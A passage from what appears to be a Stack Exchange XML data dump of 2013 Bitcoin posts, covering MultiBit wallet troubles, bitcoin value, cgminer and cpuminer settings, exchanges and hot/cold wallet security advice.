anonymous doesn't mean he has anything to hide. Also see my answer above, the code is open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that Satoshi could do that may cause problems is dump his coins on the market. That might spook people and the price might drop considerably, but the whole mechanism is pretty robust and it does what it is supposed to do. So unless there is a real problem, people will just scoop up the cheap coins and we'd all carry on with the mission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I just want to add that although Satoshi is revered, his coding style has been criticised for various reasons, and some would say he was not an out and out programming expert. Indeed bugs were discovered early on and corrected, by everyone involved at the time.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2013-12-09T17:15:38.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18397" PostTypeId="1" CreationDate="2013-12-09T17:25:33.753" Score="1" ViewCount="238" Body="&lt;p&gt;I just downloaded MultiBit for Windows and I am trying to create a wallet. When I click that, nothing happens.  It just says &quot;connecting&quot; on the bottom left status bar. No wallets are seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I did that (clicked &quot;create wallet&quot;) and nothing happened.  The wallet file shows up in the correct spot on my desktop (the .wallet file I mean...) but nothing show up in the wallet column on the app itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps my firewall is blocking something?  on the bottom left it does not say &quot;connected&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BmAWq.jpg&quot; alt=&quot;app with no wallet&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10497" LastEditorUserId="132" LastEditDate="2013-12-10T12:10:34.750" LastActivityDate="2014-09-06T18:39:56.613" Title="How do you create a wallet with MultiBit?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18399" PostTypeId="1" CreationDate="2013-12-09T18:12:30.880" Score="0" ViewCount="326" Body="&lt;p&gt;If the total number of bitcoins is increasing all the time, then does that mean that the value of my bircoins are decreasing all the time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am i just so used to thinking along the lines of the system of money creation used by the banks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF the value of bitcoins is solely dependent on the value that people are willing to place on them, then their value is only as valuable as the current perceived value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems contradictory, or is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait a minute..  did i just ask a question, or answer one?  &lt;/p&gt;&#xA;" OwnerUserId="10504" LastActivityDate="2013-12-09T19:30:54.037" Title="Bitcoins lose their value over time.. or do they?" Tags="|wallet|bitcoind|client|security|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18400" PostTypeId="2" ParentId="18399" CreationDate="2013-12-09T18:49:46.473" Score="1" Body="&lt;p&gt;The value of a bitcoin is determined solely by what other people are willing to give you in exchange for it (dollars, euros, pizza, etc).  One factor which affects this value is the number of coins in existence and how it grows; as you say, standard economics predicts the increasing number of coins will tend to decrease their value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are many other factors, some of which could counteract this, such as people's estimates of the currency's security, anonymity, future government regulation, mining hardware technology, volatility, investment value, etc.  It's very difficult to predict whether the combination of all these factors will increase or decrease the currency's value in the long run.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-09T18:49:46.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18401" PostTypeId="2" ParentId="121" CreationDate="2013-12-09T19:00:37.633" Score="-1" Body="&lt;p&gt;Yes, at Bitdango you can use the Market Pairs search to find market pairs you want to take advantage of arbitrage on. Open the detail report to see how much profit you make at different levels of investment.&#xA;&lt;a href=&quot;https://bitdango.com/marketpairs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitdango.com/marketpairs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First search:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mtnXF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then view details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8bC8j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An API is coming soon, so that will give you an interface to develop your on software bots against. This will take all the heavy lifting out of the monitoring and analysis aspects of arbitrage.&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-12-09T19:00:37.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18402" PostTypeId="1" CreationDate="2013-12-09T19:17:24.843" Score="14" ViewCount="2327" Body="&lt;p&gt;Say I want to run a big project, where users can continually request new addresses to deposit Bitcoins in their online account. I suppose I will have to pre-generate thousands of Bitcoin key-pairs and import them into a running instance of bitcoind on my server. Each time a user requests a new address to deposit Bitcoins into his account, I will assign him a new address. Then bitcoind will notify me when any of the imported addresses receive a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First question: &lt;strong&gt;Is bitcoind capable of monitoring thousands of addresses in real-time?&lt;/strong&gt; Should I plan a dedicated machine for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question: Since I will need to move received Bitcoins to a cold storage and also make payouts automatically many times a day, I will need to store the private keys on the online server as well. I can have wallet.dat password-protected but &lt;strong&gt;what is the safest method to automatically unlock the wallet, move funds and then lock it again without the password being possibly compromised?&lt;/strong&gt; I don’t consider it safe if the password appears anywhere in code, config or database. And I don’t want to enter the password manually several times a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third question: &lt;strong&gt;Will bitcoind generate a new “change address” every time I move funds&lt;/strong&gt; from the receiving address to payouts and cold storage? I ask because if bitcoind used one of the imported addresses for change, it would appear as if client received Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="10507" LastActivityDate="2016-11-14T15:35:14.913" Title="What is the safest method managing a large number of receiving Bitcoin addresses?" Tags="|wallet|bitcoind|address|receiving|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18403" PostTypeId="2" ParentId="18399" CreationDate="2013-12-09T19:30:54.037" Score="2" Body="&lt;p&gt;In total there will be only 21 milions of Bitcoins floating around the world. That means that the more people are interested in it, the higher value of 1 Bitcoin. Also it is worth mentioning that this will happen in more than a 100 years! Currently only 12 milions were produced and the growth will continue slowly for years. Interest in Bitcoin is much faster than it's production so no - it will not loose any value because it is more bitcoins. It will only loose value if people loose their faith and stop accepting it as a currency which is not the case at this moment :)&lt;/p&gt;&#xA;" OwnerUserId="3150" LastActivityDate="2013-12-09T19:30:54.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18404" PostTypeId="1" CreationDate="2013-12-09T19:31:31.707" Score="0" ViewCount="115" Body="&lt;p&gt;It seems to me that most of the people involved in this bitcoin market are from the US. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any statistics that can confirm this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, related question. If this is indeed true, is it reasonable to think that bitcoin was invented by the US in order to destroy the dollar? The US would win because they hold most of the bitcoins, while superpowers like China, who sit on trillions of dollars, would end up with worthless dollars. Does this make sense?&lt;/p&gt;&#xA;" OwnerUserId="578" LastActivityDate="2024-03-18T17:06:45.813" Title="Does the US hold almost all of the bitcoins?" Tags="|bitcoin-core-accounts|market|usa|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18405" PostTypeId="1" CreationDate="2013-12-09T20:09:49.417" Score="0" ViewCount="231" Body="&lt;p&gt;I have zero knowledge on this subject, I did not buy into bitcoins I only played poker on a website that provided them for free and ended up gathering some bitcoins. What is the difference between different websites that allow you to convert them to us currency, what is the most safest way to do this? I need all the details.&lt;/p&gt;&#xA;" OwnerUserId="10511" LastActivityDate="2014-02-10T11:21:57.810" Title="What would be the easiest way to make my bitcoins into real us money?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18406" PostTypeId="2" ParentId="18397" CreationDate="2013-12-09T21:04:44.020" Score="2" Body="&lt;p&gt;To create a wallet in MultiBit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open MultiBit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &quot;New Wallet&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RwdRN.jpg&quot; alt=&quot;Click on New Wallet.&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter a proper name for your wallet.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m5DWH.jpg&quot; alt=&quot;Create new wallet dialog box&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wallah! A wallet!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UIB2F.jpg&quot; alt=&quot;Wallet successfully made!&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It sounds to me like you're having connection troubles, though. Are you behind a firewall, proxy, or anything that could interfere with your connection? Consider trying a new internet connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the MultiBit Help page: &lt;a href=&quot;https://multibit.org/help.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/help.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2915" LastActivityDate="2013-12-09T21:04:44.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18407" PostTypeId="2" ParentId="18405" CreationDate="2013-12-09T21:11:23.557" Score="0" Body="&lt;p&gt;There are several Bitcoin exchanges around, but Mt. Gox is the one I'd go for.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n1eMs.jpg&quot; alt=&quot;Mt.Gox Bitcoin Exchange&quot;&gt;&#xA;&lt;a href=&quot;https://www.mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mtgox.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you read Mt.Gox's FAQ section, located here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.mtgox.com/forums/20105883-FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.mtgox.com/forums/20105883-FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to Bitcoin!&lt;/p&gt;&#xA;" OwnerUserId="2915" LastActivityDate="2013-12-09T21:11:23.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18408" PostTypeId="1" CreationDate="2013-12-09T21:17:43.383" Score="0" ViewCount="1255" Body="&lt;p&gt;I'm interested in mining and would like to know if there are any consumer grade computers available that can mine any of the alternative coins. If so, what computers and which coins do you think would work fairly well? &lt;/p&gt;&#xA;" OwnerUserId="10517" LastEditorUserId="5406" LastEditDate="2016-04-25T21:23:00.777" LastActivityDate="2016-04-25T21:23:00.777" Title="Can any current consumer grade computers mine any alt coins?" Tags="|mining-profitability|altcoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18409" PostTypeId="2" ParentId="13769" CreationDate="2013-12-09T21:50:55.840" Score="-1" Body="&lt;p&gt;Try setting the server as &quot;other&quot; and typing in stratum.bitcoin.cz as the host and 3333 as the port.&lt;/p&gt;&#xA;" OwnerUserId="10520" LastActivityDate="2013-12-09T21:50:55.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18410" PostTypeId="2" ParentId="18408" CreationDate="2013-12-09T22:02:33.413" Score="1" Body="&lt;p&gt;Simply put all consumer grade computers &quot;could&quot; mine bitcoin and other altcoins, the question you're probably interested in is regarding profitabiltiy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point in time people are still mining scrypt based altcoins with specially built machines with multiple high performance GPU's. Whether this is profitable depends on your circumstances for example power price per kW/h, the price of the coins you're mining and the cost of the rig you build/buy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good place to read about which coins are scrypt/SHA256 is &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;List of alternative cryptocurrencies&lt;/a&gt; and a good place to find out about price/market cap is &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;coinmarketcap.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10521" LastActivityDate="2013-12-09T22:02:33.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18411" PostTypeId="2" ParentId="17396" CreationDate="2013-12-09T22:06:24.727" Score="15" Body="&lt;p&gt;You're using the wrong hash algorithm for Bitcoin mining. Bitcoin uses SHA256d (d = double), but cpuminer (at least the version 2.3.2 on my system) defaults to &lt;strong&gt;scrypt&lt;/strong&gt; (for Litecoin) instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-a, --algo=ALGO       specify the algorithm to use&#xA;                      scrypt    scrypt(1024, 1, 1) (default)&#xA;                      sha256d   SHA-256d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Slush's pool is Bitcoin, so you should add &lt;code&gt;-a sha256d&lt;/code&gt; to your command line. You'll see a much higher hash rate (scrypt is intentionally much slower to compute than SHA256) and you'll get &lt;em&gt;yay!!!&lt;/em&gt; instead of &lt;em&gt;booooo&lt;/em&gt; after some time in your log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-12-09 21:51:25] thread 0: 49985792 hashes, 832.61 khash/s&#xA;[2013-12-09 21:51:29] thread 1: 51072988 hashes, 841.16 khash/s&#xA;[2013-12-09 21:52:23] thread 0: 49956628 hashes, 864.18 khash/s&#xA;[2013-12-09 21:52:32] thread 1: 50469540 hashes, 808.16 khash/s&#xA;[2013-12-09 21:53:26] thread 0: 51850904 hashes, 833.58 khash/s&#xA;[2013-12-09 21:53:29] thread 1: 48489516 hashes, 855.40 khash/s&#xA;[2013-12-09 21:54:25] thread 1: 46821320 hashes, 834.33 khash/s&#xA;[2013-12-09 21:54:25] accepted: 1/1 (100.00%), 1668 khash/s (yay!!!)&#xA;[2013-12-09 21:54:25] thread 0: 50014552 hashes, 838.40 khash/s&#xA;[2013-12-09 21:54:41] thread 1: 13586032 hashes, 850.75 khash/s&#xA;[2013-12-09 21:54:41] accepted: 2/2 (100.00%), 1689 khash/s (yay!!!)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For best results, you should also use the above mentioned &lt;strong&gt;stratum+tcp&lt;/strong&gt; protocol and adjust &lt;code&gt;--threads&lt;/code&gt; to the number of cores in the system.&lt;/p&gt;&#xA;" OwnerUserId="10503" LastActivityDate="2013-12-09T22:06:24.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18412" PostTypeId="2" ParentId="18408" CreationDate="2013-12-09T22:19:42.643" Score="2" Body="&lt;p&gt;As mentioned almost any is able to mine coins - the question just arises about profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some mining pools, that offer to switch the coin mined automatically depending on which coin is the most profitable at any point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of those pools are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.multipool.us/&quot; rel=&quot;nofollow&quot;&gt;Multipool.us&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://middlecoin.com/&quot; rel=&quot;nofollow&quot;&gt;Middlecoin.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10522" LastActivityDate="2013-12-09T22:19:42.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18414" PostTypeId="1" CreationDate="2013-12-09T22:43:01.630" Score="0" ViewCount="618" Body="&lt;p&gt;I have tried to pay an invoice via BitPay, the transaction was stuck at 'seen by one peer' and the BitPay invoice expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After closing and reopening multibit a few times, I decided to reset blockchain info as suggested in the multibit faq.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, this is what happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVKNZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction to BitPay doesn't even show anymore, but my coins are gone, how do I get them back ?&lt;/p&gt;&#xA;" OwnerUserId="10524" LastActivityDate="2013-12-10T23:28:22.517" Title="Lost bitcoins - Multibit" Tags="|blockchain|client|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18415" PostTypeId="2" ParentId="17132" CreationDate="2013-12-09T22:48:28.343" Score="2" Body="&lt;p&gt;Regardless of any conspiracy theory. The fact that ASIC machines are now commercially available (both hardware and completed systems) makes it easier for any agency to buy them and use them. In my opinion, this does compromise SHA-256.&lt;/p&gt;&#xA;" OwnerUserId="10525" LastActivityDate="2013-12-09T22:48:28.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18416" PostTypeId="1" AcceptedAnswerId="18465" CreationDate="2013-12-09T23:43:12.970" Score="4" ViewCount="42631" Body="&lt;p&gt;I have two video cards. My main card is a nvidia 650ti and my second is an AMD R9 280x. My monitor is connected to the nvidia and I use it for normal things. I want to start cgminer only on my second card - the AMD R9 280x. I tried with &lt;code&gt;cgminer -d1&lt;/code&gt; but it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADL found less devices than opencl!&#xA;There is possibly more than one display attached to a GPU&#xA;Use the gpu map feature to reliably map OpenCL to ADL&#xA;WARNING: Number of OpenCL and ADL devices did not match!&#xA;Hardware monitoring may NOT match up with devices!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw that there is this command: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--gpu-map &amp;lt;arg&amp;gt;&lt;/code&gt; - Map OpenCL to ADL device order manually, paired CSV (e.g. 1:0,2:1 maps OpenCL 1 to ADL 0, 2 to 1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried it but I don't know exactly what arguments to use and it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the command to start cgminer only for my second card?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastEditorUserId="2306" LastEditDate="2016-02-05T17:41:27.837" LastActivityDate="2016-02-05T17:41:27.837" Title="Start cgminer only on the second card HOW?" Tags="|cgminer|gpu|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18417" PostTypeId="2" ParentId="14468" CreationDate="2013-12-10T00:12:49.603" Score="1" Body="&lt;p&gt;Once, there will be a &lt;strong&gt;distributed&lt;/strong&gt; exchange for &lt;strong&gt;distributed&lt;/strong&gt; currency called &quot;Bitcoin&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, there is no connection between exchanges, you can check this right &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets/currency/USD.html&quot; rel=&quot;nofollow&quot;&gt;See&lt;/a&gt; how dramatically differ from each other exchanges, because it is 3rd bitcoin bubble.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;935.00 Mt. Gox &lt;/li&gt;&#xA;&lt;li&gt;905.82 btc·e &lt;/li&gt;&#xA;&lt;li&gt;840.00 Vircurex&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When there is upper trend, you might see difference in 200$-300$ (30%-40% of top latest price).&lt;/p&gt;&#xA;" OwnerUserId="10274" LastActivityDate="2013-12-10T00:12:49.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18418" PostTypeId="1" CreationDate="2013-12-10T01:03:29.947" Score="0" ViewCount="2078" Body="&lt;p&gt;If the money supply of Quarkcoin is 257 million QRK, what will be the incentive for miners to mine 1 million coins a year? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean for the currency if almost nobody is mining it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also why does Quarkcoin claim that their Proof of Work hashing is more secure? How is the security of the currency increased by adding hashing functions?&lt;/p&gt;&#xA;" OwnerUserId="10529" LastEditorUserId="5406" LastEditDate="2016-04-25T21:22:35.727" LastActivityDate="2016-04-25T21:22:35.727" Title="Quarkcoin money supply and hashing" Tags="|security|hash|mining-reward|quarkcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18419" PostTypeId="1" CreationDate="2013-12-10T02:34:00.573" Score="1" ViewCount="374" Body="&lt;p&gt;I sent some btc to my multibit wallet a while back to try out the software.  multibit tells me that the transaction has only been seen by 4 peers since 21 may 2013. however blockchain.info tells me confirmed by 36840 peers. the part of my transaction shows unspent bitcoin. how do i get multibit to see my bitcoin as a valid transaction and allow me to spend some or recover it in a blockchain.info wallet?&lt;/p&gt;&#xA;" OwnerUserId="10535" LastActivityDate="2013-12-10T02:34:00.573" Title="multibit isnt showing my bitcoin as spendable" Tags="|multibit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18421" PostTypeId="1" CreationDate="2013-12-10T04:02:43.713" Score="0" ViewCount="1657" Body="&lt;p&gt;I think I need to run multiple instances but they seem to effect each other.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Device 0: 7970&lt;/li&gt;&#xA;&lt;li&gt;Device 1: 7970&lt;/li&gt;&#xA;&lt;li&gt;Device 2: 7950&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can get both 7970's into one instance with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe --scrypt -I 13 --thread-concurrency 8192 -w 256 -d 0,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I open another version of cgminer, in another folder, with another name, and a different batch file, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer2.exe --scrypt -I 20 --thread-concurrency 22400 -g 1 -w256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what happens is the core clocks of my first instance all change to match those of my second instance, despite not having set clocks in either batch file. (so my 7970 goes from 1050/1500 to 1125/1375) and worst of all obviously is I go from 720khs to 530 khs on my 7970's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can however go into the cgminer on the 7970's and tell it to change the clocks back to what I want, and it does, and all 3 cards run perfectly in two instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make it so the two instances don't see eachother? (&lt;code&gt;--remove-disabled&lt;/code&gt; doesn't work)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been a while since I was mining, but IIRC it was just a matter of copying the cgminer folder and running the second copy. The problem I ran into above was because I didn't notice that the first miner created a mining.config file, which when I copied the folder, was running without my knowledge and applying its settings, even though I was changing them outside the mining.config file (I was using batch files for my configs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it was really just a matter of targeting them with the -d parameter.&lt;/p&gt;&#xA;" OwnerUserId="10538" LastEditorUserId="10538" LastEditDate="2014-05-13T20:13:49.890" LastActivityDate="2014-05-13T20:13:49.890" Title="CGminer multiple instances" Tags="|cgminer|scrypt|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18422" PostTypeId="1" AcceptedAnswerId="18424" CreationDate="2013-12-10T04:25:30.470" Score="2" ViewCount="2451" Body="&lt;p&gt;The lights on USB Block Erupters stay solid when not mining. During mining, there will be frequent tiny flashes, and occasionally longer flashes, lasting a few seconds. What exactly are do the short and long flashes indicate?&lt;/p&gt;&#xA;" OwnerUserId="9379" LastEditorUserId="5406" LastEditDate="2016-04-24T09:01:17.020" LastActivityDate="2016-04-24T09:01:17.020" Title="What do the indicator lights mean on USB Block Erupter ASICs?" Tags="|mining-hardware|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18423" PostTypeId="1" CreationDate="2013-12-10T05:19:28.310" Score="2" ViewCount="2405" Body="&lt;p&gt;Will nodes still be able to find each other using today's official Bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2014-05-14T13:35:07.040" Title="What would happen to the Bitcoin network if all ISP's collectively block port 8333 at once?" Tags="|bitcoin-core|network|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18424" PostTypeId="2" ParentId="18422" CreationDate="2013-12-10T05:30:37.237" Score="4" Body="&lt;p&gt;A steady light means no connection to the server delivering work, a short blip means the device has found a difficulty one share for submission. At the current time submitting a single difficulty one share is worth about about 0.000000035 BTC.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-10T09:50:46.270" LastActivityDate="2013-12-10T09:50:46.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18425" PostTypeId="2" ParentId="18423" CreationDate="2013-12-10T05:32:52.637" Score="2" Body="&lt;p&gt;Very few nodes run on ports other than the default of 8333, so if somebody had unilateral control of every network connection in the world and decided to block &lt;code&gt;8333&lt;/code&gt; then Bitcoin would collapse. There's portions of the network that use Tor for communication only, and these would not be affected by port 8333 being blocked at all. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-10T06:13:12.137" LastActivityDate="2013-12-10T06:13:12.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18426" PostTypeId="2" ParentId="18402" CreationDate="2013-12-10T05:45:37.057" Score="11" Body="&lt;p&gt;You don't want to be storing any funded keys server side, there's an almost constant steam of hosts being compromised to steal funds. Most Bitcoin systems use something called a &quot;hot wallet&quot;, and move the rest onto individual paper wallets outside of the servers control. It's then the administrators role to move funds back and forth to keep the hot wallet funded. This significantly reduces risk, and means that an attacker can gain at most the amount of funds in the hot wallet. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is bitcoind capable of monitoring thousands of addresses in real-time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but you really don't want to be storing anything more than a small hot wallet on a server. If your security isn't perfect then it's just going to be stolen. If it was used to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is the safest method to automatically unlock the wallet, move funds and then lock it again without the password being possibly compromised?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't be sure. Even if the wallet is &quot;encrypted&quot;, an attacker can just sit on the server and wait for you to unlock. Again this is why you need to be using offline storage and hot wallets to mitigate the damage of the server being compromised. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will bitcoind generate a new “change address” every time I move funds from the receiving address to payouts and cold storage?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. This is why all addresses presented to the client are single-use. You make a new receiving address each time for the hot wallet &lt;code&gt;bitcoind&lt;/code&gt;, and never show it to the client again. They don't need to, their funds aren't restricted to any particular Bitcoin outputs. Their balance is just an external value in your database that you happen to hold the funds for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally the setup looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Server:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;code&gt;bitcoind&lt;/code&gt; hot wallet, makes new receiving addresses and presents them to a client. Using &lt;code&gt;walletnotify&lt;/code&gt; or &lt;code&gt;blocknotify&lt;/code&gt; it updates the received balances for each user to an external database like Postgres or Redis. &lt;/li&gt;&#xA;&lt;li&gt;A check script makes sure the &lt;code&gt;bitcoind&lt;/code&gt; never stores more than 50 BTC in it's wallet, if the balance goes above 50BTC a script runs that generates a new key with a deterministic public key (the server never has to know the private key to do this) or uses a pre-generated list. It sends the excess off to this address to keep it safe.&lt;/li&gt;&#xA;&lt;li&gt;If the wallet doesn't have the funds to pay a user when they make a withdrawal request, show a soft effort and notify the administrator that the hot wallet needs to be refilled. Explain this is for the protection of the user. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Offline:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An Armory wallet that holds the private keys of the cold wallet. Ideally this would be completely offline, with a paper backup in a safety deposit box. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The control is only to the administrator, who knows the address of the hot-wallet refill on the server. When needed they move funds back up to the server as per notifications&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Very involved, but it's roughly how other systems work, and it's got to be that way unless you want to end up like &lt;a 